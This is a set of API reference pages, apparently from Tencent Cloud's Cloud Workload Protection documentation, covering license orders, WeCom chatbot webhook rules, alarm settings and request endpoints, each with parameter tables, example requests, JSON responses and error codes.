Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create Professional/Flagship edition orders
.This API is used to support creating orders through prepaid and pay-as-you-go.
This API is used to directly create postpaid orders.
This API is used to call the billing payment API for payment since prepaid orders are only placed but not paid.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateLicenseOrder.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Tags.N	No	Array of Tags	Tag array. Leaving it blank indicates no tags need to be bound.
LicenseType	No	Integer	Authorization type. 0: Pro Edition-pay-as-you-go; 1: Pro Edition-monthly subscription; 2 -

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			Ultimate Edition-monthly subscriptionThe default is 0.
LicenseNum	No	Integer	Authorization quantity: the number of units that need to be purchased The default is 1.
RegionId	No	Integer	Region of purchase order. In this case, only 1 - Guangzhou and 9 - Singapore are supported. Guangzhou is recommended. Singapore region is reserved for allowlisted users. The default is 1.
ProjectId	No	Integer	Project ID The default is 0.
TimeSpan	No	Integer	Purchase duration, with a default value of 1. The optional values are 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 24, and 36 This parameter is only valid for monthly subscription.
AutoRenewFlag	No	Boolean	Whether to auto-renew. The default is not to auto-renew. This parameter is only valid for monthly subscription.
AutoProtectOpenConfig	No	String	This field is deprecated.
ModifyConfig	No	OrderModifyObject	Reconfiguration Parameters

3. Output Parameters

Parameter Name	Type	Description
DealNames	Array of String	Order ID list
ResourceIds	Array of String	Resource ID list. This field needs to be left blank for prepaid orders.
BigDealId	String	Large order ID. This field needs to be left blank for postpaid orders.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateLicenseOrder
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"DealNames": [
"Order number xxxx"
],
"RequestId": "1bb6cbfb-572d-4f29-b6e0-017acd8659f0",
"ResourceIds": [
"Resource ID"
],
"BigDealId": "Large order number xxx"
}
}
```

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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DeleteLicenseRecordAll

Last updated：2024-12-06 15:39:42

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete all authorization records.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteLicenseRecordAll.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteLicenseRecordAll
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "5a2f178b-41ed-4d31-bb76-85b900df5554"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DestroyOrder

Last updated：2024-12-06 15:39:37

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to terminate resources.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DestroyOrder.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ResourceId	Yes	String	Resource ID
LicenseType	Yes	Integer	Authorization type. 0: Pro Edition - pay-as-you-go; 1: Pro Edition - monthly subscription; 2: Ultimate Edition - monthly subscription.

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DestroyOrder
<Common request parameters>

{
"ResourceId": "resource_xxxxx",
"LicenseType": 0
}
```

Output Example

```
{
"Response": {
"RequestId": "eac82ff0-b562-46fc-bbcf-a55cc62f8205"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.

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CreateWhiteListOrder

Last updated：2024-12-06 15:39:43

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create allowlist orders.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateWhiteListOrder.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
LicenseType	Yes	Integer	Authorization type
LicenseNum	Yes	Integer	Number of authorizations (The minimum value is 1, and the maximum value is 99999.)
Deadline	Yes	Integer	Expiration time (The minimum value is 1.)
RuleName	Yes	String	Rule name, big asset center: asset_center
SourceType	No	Integer	Order type. 1: trial; 2: free; 3: experience; 4: free SSL certificate gift; 5: free CVM

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RegionId	No	Integer	Region: 1 Guangzhou; 9 Singapore. The default is 1. Do not select 9 unless necessary.
ExtraParam	No	String	Additional parameters; JSON string, including ResourceId and LicenseType.

3. Output Parameters

Parameter Name	Type	Description
Resource	OrderResource	Resource object
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to create trial orders.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateWhiteListOrder
<Common request parameters>

{
"LicenseType": 1,
"LicenseNum": 10,
"Deadline": 10,
"SourceType": 1,
"RuleName": "asset_center"
}
```

Output Example

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```
{
"Response": {
"RequestId": "d1245804-b922-4c3b-8499-f95dce26b33c",
"Resource": {
"Id": 1,
"ResourceId": "white_2415**",
"BeginTime": "2022-05-31 00:00:00",
"EndTime": "2022-06-10 00:00:00",
"LicenseType": 1
}
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
OperationDenied	The operation was denied.

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ResourceNotFound	The resource does not exist.

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DeleteWebHookRule

Last updated：2024-12-06 15:39:42

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the rules of WeCom chatbots.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteWebHookRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Rule ID list

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Delete Enterprise WeChat Robot Rule

Delete Enterprise WeChat Robot Rule

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteWebHookRule
<Common request parameters>

{
"Ids": [
0
]
}
```

Output Example

```
{
"Response": {
"RequestId": "747c393e-f771-47ca-af0a-cc36b88f107a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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DescribeLicense

Last updated：2024-12-06 15:39:41

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the authorization information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLicense.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

None

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLicense
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "a9fe0359-04d9-417f-ab6d-4941891d6c4b"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
ResourceNotFound	The resource does not exist.

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DescribeWebHookRule

Last updated：2024-12-06 15:39:38

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the details of the WeCom chatbot rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeWebHookRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	No	Integer	Rule ID

3. Output Parameters

Parameter Name	Type	Description
Data	WebHookRuleDetail	Rule content

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Details of the Wecom Chatbot Rules

This example shows you how to obtain the details of the Wecom chatbot rules.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeWebHookRule
<Common request parameters>

{
"Id": 0
}
```

Output Example

```
{
"Response": {
"Data": {
"RuleId": 1,
"RuleName": "alram",
"HookAddr": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=cbe03861-a8c6-4
8df-e34c-******",
"RuleRemark": "remark",
"RuleItems": [
{
"Type": 11,
"ControlBit": "01111"
}
],
"HostLabels": [
{
"Type": 4,
"Values": []
}
```

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```
],
"HostIds": [
"747c393e-f771-47ca-af1a-cc36b88f107a"
],
"IsDisabled": 0
},
"RequestId": "747c393e-f771-47ca-af0a-cc36b88f107a"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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DescribeWebHookRules

Last updated：2024-12-06 15:39:38

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of WeCom chatbot rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeWebHookRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filter.N	No	Array of Filter	Filter criteria
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]

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By	No	String	Sorting field

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number
List	Array of WebHookRuleSummary	Rule content
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of WeCom Chatbot Rules

This example shows you how to obtain the list of WeCom chatbot rules.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeWebHookRules
<Common request parameters>

{
"Filter": [],
"Offset": 0,
"Limit": 1,
"Order": "",
"By": ""
}
```

Output Example

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```
{
"Response": {
"List": [
{
"RuleId": 55,
"RuleName": "Test chatbot",
"HookAddr": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=abe03861-a7c6-49cf-a12c-443c34be0db5",
"RuleRemark": "",
"RuleItems": [
{
"Type": 24,
"ControlBit": "1"
}
],
"HostLabels": [],
"HostCount": 0,
"IsDisabled": 1,
"CreateTime": "2023-02-17T18:41:03+08:00",
"UpdateTime": "2023-02-28T10:18:15+08:00"
}
],
"RequestId": "e1b258f6-746d-4eb3-b7e0-ca400e7f8d71",
"TotalCount": 8
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
ResourceNotFound	The resource does not exist.

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ExportLicenseDetail

Last updated：2024-12-06 15:39:37

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export authorization details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportLicenseDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Take the intersection when filtering with multiple conditions: LicenseStatus, DeadlineStatus, ResourceId, and Keywords • LicenseType authorization type. 0: Pro Edition-pay-as-you-go; 1: Pro Edition-monthly subscription; 2: Ultimate Edition-monthly subscription • ResourceId resource ID
IsHistory	No	Boolean	Whether to export all authorization details
Tags.N	No	Array of Tags	Tag filtering; filter by the platform's tag capabilities. In this case, you should pass in the tag key and tag value as an object.

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ExportMonth	No	String	Export month, this parameter is optional only when IsHistory is active.

3. Output Parameters

Parameter Name	Type	Description
DownloadUrl	String	Download URL. This field has been deprecated.
TaskId	Integer	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to export the license usage records/history.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportLicenseDetail
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "d09cfcae-fab2-4cb7-a41e-5fd4c12d69f4",
"DownloadUrl": "https://cwp-1258344***.cos.ap-guangzhou.myqcloud.com/file.txt",
"TaskId": 1
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
ResourceNotFound	The resource does not exist.

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ModifyWebHookRule

Last updated：2024-12-06 15:39:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add or modify the rules of WeCom chatbots.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyWebHookRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Data	Yes	WebHookRuleDetail	Rule content

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Add or Modify Enterprise WeChat Robot Rule

Add or Modify Enterprise WeChat Robot Rule

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyWebHookRule
<Common request parameters>

{
"Data": {
"RuleName": "Test robot",
"HookAddr": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=747c393e-f771-47ca-af0a-cc36b88f107a",
"RuleRemark": "",
"RuleItems": [
{
"Type": 2,
"ControlBit": "01111"
}
],
"HostLabels": [],
"IsDisabled": 1,
"RuleId": 55
}
}
```

Output Example

```
{
"Response": {
"RequestId": "747c393e-f771-47ca-af0a-cc36b88f107a"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
ResourceNotFound	The resource does not exist.

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ModifyWebHookRuleStatus

Last updated：2024-12-06 15:39:34

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the rules of WeCom chatbots.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyWebHookRuleStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Rule ID
IsDisabled	Yes	Integer	Enabling status: [0: ON | 1: Off]

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modify Enterprise WeChat Robot Rule Status

Modify Enterprise WeChat Robot Rule Status

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyWebHookRuleStatus
<Common request parameters>

{
"Id": 1,
"IsDisabled": 0
}
```

Output Example

```
{
"Response": {
"RequestId": "747c393e-f771-47ca-af0a-cc36b88f107a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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TestWebHookRule

Last updated：2024-12-06 15:39:34

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to test the rules of WeCom chatbots.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: TestWebHookRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Rule ID
Data	Yes	String	Test content

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Testing WeCom Chatbot

This example shows you how to test the WeCom Chatbot.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: TestWebHookRule
<Common request parameters>

{
"Id": 1,
"Data": "test"
}
```

Output Example

```
{
"Response": {
"RequestId": "747c393e-f771-47ca-af0a-cc36b88f107a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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ModifyLicenseOrder

Last updated：2024-12-06 15:39:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to edit CWPP - pay-as-you-go authorization orders.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyLicenseOrder.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ResourceId	Yes	String	Resource ID
InquireNum	No	Integer	Expected value. If the current value is 10, fill in a larger value for scale-out, a smaller value for scale-down (the expected value must be no less than the usage value during scale-down), or the same value for no change.
ProjectId	No	Integer	Project ID. Fill in the original value for no change.
Alias	No	String	Resource alias. Fill in the original value for no change.

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3. Output Parameters

Parameter Name	Type	Description
DealNames	Array of String	Order ID
ResourceIds	Array of String	Resource ID
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Editing an Order

This example shows you how to modify the size, alias, and project ID of an order.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyLicenseOrder
<Common request parameters>

{
"Alias": "Alias",
"ProjectId": 0,
"ResourceId": "cwplic-xxxxxxxx",
"InquireNum": 10
}
```

Output Example

```
{
"Response": {
"RequestId": "bfcd9422-e824-4651-8fe3-1af96781ce6e",
```

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```
"DealNames": [
"627351673"
],
"ResourceIds": [
"cwplic-dadad"
]
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
ResourceNotFound	The resource does not exist.

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DescribeAlarmAttribute

Last updated：2020-07-31 11:18:39

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API is used to get the alarm settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common parameter. The value used for this API: DescribeAlarmAttribute.
Version	Yes	String	Common parameter. The value used for this API: 2018-02-28.
Region	No	String	Common parameter. This parameter is not required for this API.

3. Output Parameters

Parameter Name	Type	Description
Offline	String	CWP deactivation alarm status: • OPEN: alarm enabled • CLOSE: alarm disabled

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Parameter Name	Type	Description
Malware	String	Trojan discovery alarm status: • OPEN: alarm enabled • CLOSE: alarm disabled
NonlocalLogin	String	Unusual login location discovery alarm status: • OPEN: alarm enabled • CLOSE: alarm disabled
CrackSuccess	String	Brute force attack success alarm status: • OPEN: alarm enabled • CLOSE: alarm disabled
RequestId	String	The unique request ID, which is returned for each request. RequestId is required for locating a problem.

4. Example

Example1 Getting alarm settings

This example shows you how to get alarm settings.

Input Example

```
https://yunjing.tencentcloudapi.com/?Action=DescribeAlarmAttribute
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"Offline": "CLOSE",
"Malware": "OPEN",
"NonlocalLogin": "OPEN",
"CrackSuccess": "OPEN"
}
}
```

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5. Developer Resources

API Explorer

This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using TencentCloud APIs.

- API 3.0 Explorer

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for NodeJS
- Tencent Cloud SDK 3.0 for .NET

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error.

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Making API Requests
Request Structure

Last updated：2024-12-06 15:38:48

1. Service Address

The API supports access from either a nearby region (at cwp.intl.tencentcloudapi.com) or a specified region (at cwp.ap-guangzhou.tencentcloudapi.com for Guangzhou, for example).

We recommend using the domain name to access the nearest server. When you call an API, the request is automatically resolved to a server in the region **nearest** to the location where the API is initiated. For example, when you initiate an API request in Guangzhou, this domain name is automatically resolved to a Guangzhou server, the result is the same as that of specifying the region in the domain like "cwp.ap-guangzhou.tencentcloudapi.com".

Note: For latency-sensitive businesses, we recommend that you specify the region in the domain name.

Tencent Cloud currently supports the following regions:

Hosted region	Domain name
Local access region (recommended, only for non-financial availability zones)	cwp.intl.tencentcloudapi.com
South China (Guangzhou)	cwp.ap-guangzhou.tencentcloudapi.com
East China (Shanghai)	cwp.ap-shanghai.tencentcloudapi.com
North China (Beijing)	cwp.ap-beijing.tencentcloudapi.com
